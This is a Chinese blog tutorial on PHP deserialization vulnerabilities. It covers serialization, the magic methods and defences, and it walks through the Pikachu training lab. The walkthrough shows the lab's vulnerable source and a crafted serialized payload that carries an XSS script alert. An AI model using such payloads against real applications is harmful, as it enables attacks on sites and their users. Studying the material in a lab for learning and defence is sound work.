首页 > 编程语言 >PHP反序列化(Pikachu)

PHP反序列化(Pikachu)

时间:2024-05-12 14:19:44浏览次数:19  
标签:__ 触发 PHP 对象 Pikachu test 序列化

原理

php程序为了保存和转储对象,提供了序列化的方法。php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。

php序列化的函数为serialize,可以将对象中的成员变量转换成字符串。

反序列化的函数为unserilize,可以将serialize生成的字符串重新还原为对象中的成员变量。

将用户可控的数据进行了反序列化,就是PHP反序列化漏洞。

PHP反序列化漏洞详解(万字分析、由浅入深)_php反序列化漏洞原理-CSDN博客

[最通俗易懂的PHP反序列化原理分析 - FreeBuf网络安全行业门户

[反序列化漏洞原理、成因、危害、攻击、防护、修复方法_jdbc反序列化获取服务器权限的危害-CSDN博客](https://www.freebuf.com/articles/web/167721.html)

序列化serialize()

序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

    class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值
    

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu
    

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

常见魔术方法

__construct()            //类的构造函数,创建对象时触发

__destruct()             //类的析构函数,对象被销毁时触发

__call()                 //在对象上下文中调用不可访问的方法时触发

__callStatic()           //在静态上下文中调用不可访问的方法时触发

__get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

__set()                  //在给不可访问属性赋值时触发

__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发

__unset()                //在不可访问的属性上使用unset()时触发

__invoke()               //当尝试以调用函数的方式调用一个对象时触发

__sleep()                //执行serialize()时,先会调用这个方法

__wakeup()               //执行unserialize()时,先会调用这个方法

__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

触发条件

unserialize函数的变量可控,php文件中存在可利用的类,类中有魔法函数

防御

●最有效的方法是不接受来自不受信任源的序列化对象或者只使用原始数据类型的序列化,但这不容易实现。

●完整性检查,如:对序列化对象进行数字签名,以防止创建恶意对象或序列化数据被篡改。

●在创建对象前强制执行类型约束,因为用户的代码通常被期望使用一组可定义的类。

●记录反序列化的失败信息。比如传输的类型不满足预期要求或者反序列化异常情况,因为这有可能是攻击者的攻击尝试。

pikachu

打开题目就一个输入框,那应该就是概述里的举例

那先用解说中的payload(O:1:"S":1:{s:4:"test";s:29:"";})

image-20240509194618235

那来分析怎么构造这个payload

PHP源码:

class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);

入口:@$unser = unserialize($a);

魔术方法:__destruct()

魔术方法的触发条件:对象被销毁时触发

过程:

创建一个对象——>销毁时触发__destruct()魔术方法——>打印 this->test变量

new S() -> __destruct() -> $this->test

所以我们可以通过控制$this->test的内容来构造恶意数据

打开PHP在线工具PHP 在线工具 | 菜鸟工具 (jyshare.com)

构造payload

<?php
class S{
	function __destruct(){
                echo $this->test;
            }
}
$a=new S();
$a->test="<script>alert('hack')</script>";
echo serialize($a);
O:1:"S":1:{s:4:"test";s:30:"<script>alert('hack')</script>";}<script>alert('hack')</script>

成功

image-20240509201127404

标签:__,触发,PHP,对象,Pikachu,test,序列化
From: https://www.cnblogs.com/Mchacha/p/18187787

相关文章

  • XXE漏洞(Pikachu)
    原理要补好多知识~XXE漏洞全称XMLExternalEntityInjection即XML外部实体注入。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。XXE漏洞触发的点往......
  • RCE(Pikachu)
    作用可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。原理远程系统命令执行一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个......
  • PHP-FPM(FastCGI Process Manager)处理请求的流程
    PHP-FPM(FastCGIProcessManager)处理请求的流程大致遵循以下步骤,其中您提到的几个关键函数和阶段是PHP-FPM生命周期中的重要组成部分。下面是对您提到步骤的解释及它们如何在PHP-FPM中执行的概述:1.**php_module_startup**:-这个阶段发生在PHP-FPM服务启动时,而非每次请求处理......
  • Fastjson反序列化漏洞3:JdbcRowSetImpl利用链-JNDI注入
    第二条链Fastjson的三条链,现在我们来讲第二条com.sun.rowset.JdbcRowSetImplcom.sun.rowset.JdbcRowSetImplorg.apache.tomcat.dbcp.dbcp2.BasicDataSourceFastjson的三条链,现在我们来看第二条com.sun.rowset.JdbcRowSetImplsetAutoCommit、connect、setDataSourceNameset......
  • Fastjson反序列化漏洞2:BasicDataSource利用链-用于内网
    之前说的Fastjson的利用链,补充来了,没有偷懒(狗头)前情提要:BCEL:加载恶意类、Fastjson反序列化漏洞1:吹吹水Fastjson干了啥Fastjson就是处理json用的,可以将json转换成对象(自定义的一套序列化和反序列化)举个例子:下面这个json字符串经过JSON.parse(jsonString)处理可以得到com.test......
  • C++_函数式编程-以及常用序列化
    函数式编程函数式编程是一种编程范式,它强调程序的构建是通过应用(applying)和组合函数(composingfunctions)来实现的函数式编程属于“结构化编程”的一种,主要思想是把运算过程尽量写成一系列嵌套的函数调用 LambdaCalculus函数式编程语言早期的函数式......
  • 序列化的另一个思路
    #混入类,提供Model实例to_dict方法classModelMixin(object):__slots__=()defto_dict(self,excludes:tuple=None,selects:tuple=None)->dict:ifnothasattr(self,'_meta'):raiseTypeError('<......
  • php使用mysql-text字段存取json字符串
    PHP保存时过滤掉双引号&单引号&tabfunctionformartJsonString($jsonString=''){ $jsonString=str_replace("'","",$jsonString); $jsonString=str_replace('\"',"",$jsonString); $jsonString=st......
  • SQL注入(pikachu)
    注入流程SQL注入注入点判断与注入手法介绍-FreeBuf网络安全行业门户【干货】如何判断Sql注入点_判断是否存在sql注入-CSDN博客1、是否有注入点--->第一要素-----在参数后面加上单引号,如果页面返回错误,则存在Sql注入。原因是无论是字符型还是整型都会因为单引号个数不匹......
  • CSRF(Pikachu靶场练习)
    CSRF(get)自己随便输点东西,回显登录失败,查看源码没发现什么点开提示,登录进去看看看到可以修改个人信息,我们把居住改成China,修改成功,没发现urlhttp://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php有变化这次我们在submit时抓包看看/pikachu/vul/csrf/csrfget/cs......